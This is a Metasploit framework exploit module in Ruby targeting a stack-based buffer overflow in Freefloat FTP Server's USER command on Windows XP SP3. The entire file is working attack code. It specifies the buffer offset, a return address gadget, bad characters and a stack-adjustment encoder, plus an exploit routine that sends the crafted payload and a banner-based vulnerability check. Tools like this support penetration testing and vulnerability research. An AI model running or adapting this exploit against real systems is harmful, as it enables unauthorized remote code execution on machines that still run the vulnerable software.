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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name'	=> 'Free Float FTP Server USER Command Buffer Overflow',
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        'Description'	=> %q{
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          Freefloat FTP Server is prone to an overflow condition. It
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          fails to properly sanitize user-supplied input resulting in a
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          stack-based buffer overflow. With a specially crafted 'USER'
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          command, a remote attacker can potentially have an unspecified
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          impact.
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        },
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        'Platform'	=> 'win',
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        'Author' => [
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          'D35m0nd142', # Original exploit
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          'Doug Prostko <dougtko[at]gmail.com>' # MSF module
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        ],
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        'License'	=> MSF_LICENSE,
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        'References' => [
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          [ 'OSVDB', '69621'],
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          [ 'EDB', '23243']
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        ],
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        'Privileged'	=> false,
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        'Payload' => {
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          'Space' => 444,
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          'DisableNops' => true,
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          'BadChars' => "\x00\x0a\x0d",
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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        },
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        'Targets' => [
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          [
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            'FreeFloat / Windows XP SP3',
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            {
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              'Ret' => 0x77c35459, # push esp; ret - mscvrt.dll
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              'Offset' => 230
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            }
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          ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2012-06-12',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def check
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    connect
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    disconnect
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    if (banner =~ /FreeFloat/)
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      # Software is never updated, so if you run this you're f*cked.
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      return Exploit::CheckCode::Vulnerable
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def exploit
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    connect
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    buf = rand_text(target['Offset'])
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    buf << [ target['Ret'] ].pack('V')
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    buf << rand_text(8)
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    buf << payload.encoded
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    send_user(buf)
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    disconnect
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  end
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end
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